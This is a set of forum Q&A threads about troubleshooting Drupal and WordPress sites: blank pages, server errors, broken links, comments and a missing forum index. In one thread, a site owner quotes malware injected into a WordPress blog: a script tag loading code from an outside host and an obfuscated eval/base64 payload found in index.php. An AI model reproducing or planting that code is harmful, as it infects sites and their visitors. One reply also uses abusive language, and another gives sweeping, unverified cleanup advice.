Today, I got free hosting space from my internet service provider. So, to test my Drupal project, I installed Drupal along with all those necessary modules (views, imageattach, Private message, search). Everything seems went well, until I tried to create a view.
When I add view and fills out all necessary field and press next, it just shows a blank white page instead of the "Views UI" edit page. I checked back in the view's list page, but no view was created. I'm not sure what causes this to happen;so I much appreciate your help.
Drupal 6.x
View 6.x-2.11
Private Message - 6.x-1.3
Note: It works fine in local environment.
UPDATE : As WmasterJ suggested, I checked dblog and found that my custom module is sending header inadvertently - there was gibberish(inverted question mark) just before my opening tag. I don't know how it got there. But, anyway, I removed it and the problem solves. Thanks WebmasterJ and the rest for helping me out.
Cheers
PS : WmasterJ, just want to let you know that, I tried to clicked on check mark to indicate your post is the solution, but it doesn't work at all. "Add comment" link doesn't work either. So, don't be surprise for not seeing any indication of yours being the right solution.
Some tips from the "white screen of death" page that mattv posted which I would try is:
First, try and get some error messaging out there since this will help you to pin-point the problem and solve it faster. In you index.php file write:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
// $Id: index.php ...
Second, take a look at messages in your watchdog log at: /admin/reports/dblog
After which you will have a better understanding and can go back to the white page of death help page and read more.
There is a whole page in the Drupal handbooks dedicated to debugging the "White Screen of Death". In a nutshell, enable error reporting and check the logs. Those two steps tend to pinpoint the problem, most of the time. If that doesn't point you towards a solution, continue down the handbook page, for lots more tips.
If I had to take a wild guess, I would say your case is probably an out-of-memory error.
If it's free space from your shared ISP, chances are you're out of memory.
Create a PHP file that contains only the following:
<?php
phpinfo();
?>
Load it in your browser (if you called the file "info.php", go to http://www.yoursite.com/info.php) and look for the line that says memory_limit. If it's less than 32MB, that's what's causing it - it's why the site works fine locally and most pages work fine, but the View create page takes up a lot of memory.
Also try going to the Modules page, this page can also consume a lot of memory - if you get a white screen there then this backs up the out-of-memory theory.
Your ISP may let you override the memory_limit by creating a php.ini file somewhere in your account. You should set it to at least 64M, preferably 128M+ for a complex site.
Related
For some reason when I try adding a filter to any view that I have, I receive the Server Error 500.
In Google Chrome I get
this.
In Firefox I get this this.
To be detailed, I have a view that currently displays published articles. All Articles are translated into Spanish and English. I am trying to add the filter: Content:language and set it to user current language.
When I save, the page refreshes and the temporary changes notice is shown. I try saving a second time and the Server Error comes up. This happens for both web browsers.
Could it be a that I have to enable a read/write for a certain file? If so, I don't know which file to look for.
Can anyone shed some light on this for me ? I have been at it for about 13 hours...
After taking the advice from #Rainfall in the comment, I found another post on Drupal's forum with the solution/ patch for this issue.
Here is the post with the solution
Comment #9 gave a patch that worked for others and it worked for me too. More in depth info on the issue is there as well.
My client is using Tribe Events for, well, managing his events :) I was asked to make a new theme for him. I downloaded his old installation and created new theme, checked and everything was great. I uploaded the whole thing to my server - works as well. But when I finally got the thing on my client's host, every link leading to Tribe Events' content is leading back to main page. Strange thing - it happens only when my theme is on. But then again, I tried removing tribe-events directory from the theme, renaming it etc. Nothing helps. Any ideas?
You didn't provide details about the way you use it so I am not sure the way to provide exact reply.
If you use it without default page template (plugin one) then you should check your loop.
Did you override any files or did you change plugin files at all.
Make sure there is no extra loop running and if you use lops on page make sure you finish it properly
And finally - try to reset permalings, both theme and plugin, if any
Recently (last 2 weeks) this line of code appeared in the footer of a wordpress blog :
<script type="text/javascript" src="http://linkstoads.net/keller/link.php?id=3" name="linkstats"></script>
I did not put that here. I have no idea about what it does ; but I want it out.
For my first try, I just replaced the template and it was gone for a few minutes. But it came back.
So i got to my index.php file (not the template, the very first index.php) and found that code :
#c3284d#
eval(gzinflate(base64_decode("JcxLDoMwDEXROVL3EHkBeMCsfLqRTKxgKYE0WLFVtbsvkOnRe5dDPBxMGmoSc/YTnj0Yfw03+lBjD05rOD2ayRMxp7KrHbRqX9hw55y53tpLlFda5+G8FHpfrTYmUw/LhC24wPjo/g==")));
#/c3284d#
So I removed it, but it came back again the next day.
How is that possible ? I'm a newbie about viruses and security, so the answer may be really basic.
Congratulations! You have been hacked! Most likely you haven't haven't updated your software in quite some time and multiple hackers have exploited some well known vulnerability in your software.
How do you fix it? Scorched earth... You have been hacked by many bots, and probably sold online like some kind of whore. Delete your entire web root and start from scratch. Make sure you have the latest versions of every plugin and Wordpress.
For the record Wordpress was written by monkeys or children or children monkeys... Regardless it is by far one of the worst application I have ever hacked. They are probably still using your password hash as the session id, which means they don't even understand the basics of why you should hash passwords.
Oah if you keep getting hacked, higher a professional.
Problem solved, wordpress is not responsible for it.
There's a trojan that infect filezilla and when you open it, it'll inject code in every pages it can reach via filezilla.
This is really a big deal and 3 antiviruses could not even find it.
If you see that, format your computer.
I'm having a heck of time trying to get comments to post to my nodes. I've done all the obvious:
Enable comment module,
set appropriate permissions,
etc.
But every time I try to enter a comment it simply redirects to a "Add new comment" page and nothing gets posted. There is no comment in the Content -> Comments section and my database comment table is empty.
The only thing I can find relating to the issue is an error report in my log messages which displays a warning "page not found." I'm using the Drupal Busy theme.
Type: Page not found
Location: http://mysite/public://color/busy-0970ccd8/style.css?m
Message: public://color/busy-0970ccd8/style.css
Severity: Warning
I've ran the schema module and nothing is funky in with my database. Any thoughts on this? Much appreciated.
It's looking for a stylesheet from the Color module. It would normally be at sites/default/files/color/busy-0970ccd8/style.css
Do you have a sites/default/files directory? Check that you have one at that the directory is writable. Also check to be sure that the color module is enabled. Save your theme settings and clear your cache in configuration -- performance.
I'm not sure if a problem retrieving a style sheet from the color module could be causing this. Seems very unlikely.
You might consider not using the busy theme. It's current status is "minimally maintained" and the theme authors have left a note on the project page that there will be no further development at this time.
I recommend looking for a theme that is actively maintained and has good support. It looks like Busy is a pretty standard 960 grid, you might like Omega.
I've got a strange senario/question for you.
I'm running drupal 6 with advanced forum (although my problem doesn't go away if I just use the forum module that comes with drupal)! Everything has been fine and so I've left it untouched (not open to the public) for about a month while I've been sorting out legal work...
I came back to it a few days ago only to find 'http://mysite.com/forum' (I'm using clean URL's) does not exist!
I've tried everything I can think of! Even silly things like 'http://mysite.com/forum s'. But it doesn't even appear to be there in Content Management > Content!
I can get to the individual posts and even the individual catergory/containers - I'm just missing the index page!
I've tried disabling and re enabling the advanced forum module, reseting it's settings and even clearing the site cache! Non of which made any difference! I was going to try typing the node in, but I wasn't sure what it was!...
Please help me as soon as possible!
Thanks in advance,
Andy
Latest
Okay, just to clarify exactly what's happening and what I've done so far after 'ax's' wonderful assitants:
Whats Happening is, I get Drupal's 404 Page Not Found message/page when trying to get to www.mysite.com/forum! The strange thing is though, by typing the URL of the individual sections/catergorys I can see them, and all the posts inside etc!
I have, been into sites/all/modules/advanced_forum/advanced_forum.module and look at the variables in the advanced_forum_page($tid=0) function.
First, I just created a post/topic in the forum var_dumping all the variables in the function! They all returned NULL.
But then in the function, I one by one var_dumped all the variables, after the line they were first used (in the function), I deleted the var_dump line for each variable after I refreshed the forum page, so there was only one var_dump in the function at once. The strange thing was nothing appeared on the page, even when I tried `drupal_set_message(print_r($variable));!
So, I don't know and I just need it fixing asap please! ... Thanks in Advance
you can try two solution:
Reinstall the module instead of deactivating and reactivating it (you will lose your current categorization, however it seems like your forum is empty right now).
Build a new installation to make some tests, enable the advanced forum module and take a look at the index page of the forum to see if it's replicable.
Take a look at the issue queue of the module too, maybe someone else had the same problem.
Just figured out what was going on, and therefore was able to sort my problem out myself!
It was the most stupid thing as well. For some reason, I had an empty folder called... you guessed, 'forum' in the root of my website and as soon as I deleted it, I saw my forum index for the first time in ages.
Obviously, Drupal was looking in the folder instead of using the module etc... (You Know...)
Anyway, thanks for your attempts to help me - much appreciated!
-- Andy